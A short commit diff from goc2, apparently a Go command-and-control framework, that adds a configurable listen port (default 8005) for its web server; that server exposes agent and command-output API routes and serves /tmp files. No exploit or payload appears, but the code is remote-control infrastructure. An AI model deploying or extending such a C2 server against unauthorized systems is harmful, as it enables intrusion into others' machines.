STRLCPY/goc2

■ ■ ■ ■ ■ ■

cmd/goc2/goc2.go

		skipped 13 lines
14	14		listPtr bool
15	15		agentPtr string
16	16		c2Ptr string
	17	+	portPtr string
17	18		)
18	19
19	20		//Start RedMap
		skipped 3 lines
23	24		flag.BoolVar(&webPtr, "web", false, "Start Web Server")
24	25		flag.BoolVar(&listPtr, "list", false, "List Connected Agents")
25	26		flag.StringVar(&agentPtr, "agent", "", "Start Web Server")
	27	+	flag.StringVar(&portPtr, "port", "8005", "Listen Port")
26	28		flag.StringVar(&c2Ptr, "c2", "", "connect to c2")
27	29		flag.Parse()
28	30
		skipped 2 lines
31	33		}
32	34
33	35		if webPtr == true {
34		-	web.Start()
	36	+	web.Start(portPtr)
35	37		}
36	38
37	39		if cliPtr == true {
		skipped 5 lines

■ ■ ■ ■ ■ ■

web/server.go

		skipped 23 lines
24	24		}
25	25
26	26		//Start the Web Server
27		-	func Start() {
	27	+	func Start(port string) {
28	28		router := httprouter.New()
29	29
30	30		router.ServeFiles("/files/*filepath", http.Dir("/tmp"))
		skipped 20 lines
51	51		router.GET("/api/cmd/output/:agent/:cmdid", apiCmdsOut)
52	52		router.GET("/cmds/", redirect)
53	53
54		-	fmt.Printf("Starting server at port 8005\n")
55		-	if err := http.ListenAndServe(":8005", router); err != nil {
	54	+	fmt.Printf("Starting server at port " + port)
	55	+	if err := http.ListenAndServe(":"+port, router); err != nil {
56	56		log.Fatal(err)
57	57		}
58	58		}
		skipped 213 lines